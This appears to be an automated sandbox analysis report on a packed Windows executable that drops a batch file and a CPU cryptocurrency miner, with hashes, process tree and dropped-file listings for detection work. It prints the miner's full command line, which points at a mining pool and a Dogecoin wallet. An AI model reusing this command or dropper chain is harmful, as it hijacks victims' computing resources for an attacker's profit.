73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
291s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 05:42

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4372	b2e.exe
4880	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4008-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 4372	4008	batexe.exe	75
PID 4008 wrote to memory of 4372	4008	batexe.exe	75
PID 4008 wrote to memory of 4372	4008	batexe.exe	75
PID 4372 wrote to memory of 2572	4372	b2e.exe	76
PID 4372 wrote to memory of 2572	4372	b2e.exe	76
PID 4372 wrote to memory of 2572	4372	b2e.exe	76
PID 2572 wrote to memory of 4880	2572	cmd.exe	79
PID 2572 wrote to memory of 4880	2572	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BB61.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe

Filesize
10.6MB

MD5
7e5246a0c4d33adca931ec339e1daf2e

SHA1
2cb3b5153f91aff82522aa36e39fad37b65aed46

SHA256
b2ee8f9b8544650639b600422a26c146a6485bf676a2da77b1e219fad1c479b1

SHA512
60300a22c2ab544ee614ae17d3d6a7d59206fbfe3a2105079a35966a30aab05cbe23c139f0845a225846fec7c9f2a967698041afdfdc7eb1942f8c974f227b3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe

Filesize
13.3MB

MD5
f62809e1283cfeedd8edaca4e34ea854

SHA1
03136b0cf4c6c012e82aa5f306fae447cd58d5b3

SHA256
0c63bc3104a6e1d2bc84aac0cc5150cfb24055afb824c35ae73b00ef10d56125

SHA512
6bd725e895df06fb81ccaf3779bbdd2fd749b6220ade1353da54d7bdfca49e06dbc27bfa84db86cf7e440c79b9141eebb0fc04e229158533d243eff5b573bc88

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB61.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
22.1MB

MD5
ccf3c8ebaecee410711efb4599fd5230

SHA1
81cfc0e7f5d483141860b4adfd74f9abb74cb31a

SHA256
ac51aee96922a43a46c8f0e9679ce1110a5092cc19c9018f68dc266076a66abd

SHA512
5e42f379a6b1eed4a3156c6f0d8c684fff1278cbb1c47adaaa416de264db8776bd6b39e1a1952bd5811b3d06d0f1d05a1ef58360eef501ba33fc6d432a5dfccc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
17.2MB

MD5
0e7357885c0f4de23e48a0dca68888ed

SHA1
d150cec03b6fa237821d7a89ea8234a99539d306

SHA256
3354dbdc185029afd2cf3e4731e86aa6ed3e0a8f504615433b8a575186a9b054

SHA512
23a3f9fc5f5945cc28375b38468dbc9b587aa76c4a315cc63285b4b5da1e53ac9603280b9d879345cbcea69b0338f2c66669f69c4773e9385c03de8a1aeaad9f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.1MB

MD5
f9bfe0b0d9de44d92ddf935986e55f78

SHA1
88c4b3459f43c9f62ea248b69a77d852046696a1

SHA256
96af50921250fe58f6fa5dbd66475f2112b6648b9e6d3d2cdef3b61c7b39bda2

SHA512
51e66c3e0e99a9357e90dc23724fbcee21e65ce1f5191cccd977dcbfd18b3e0f7a3b9d51123e4110064b3fb4a2380d0405ccf7b308018d10d926e010d1a06e81

Download Submit
memory/4008-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4372-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4372-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4880-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4880-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4880-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/4880-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-42-0x0000000060AA0000-0x0000000060B38000-memory.dmp

Filesize
608KB

Download
memory/4880-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download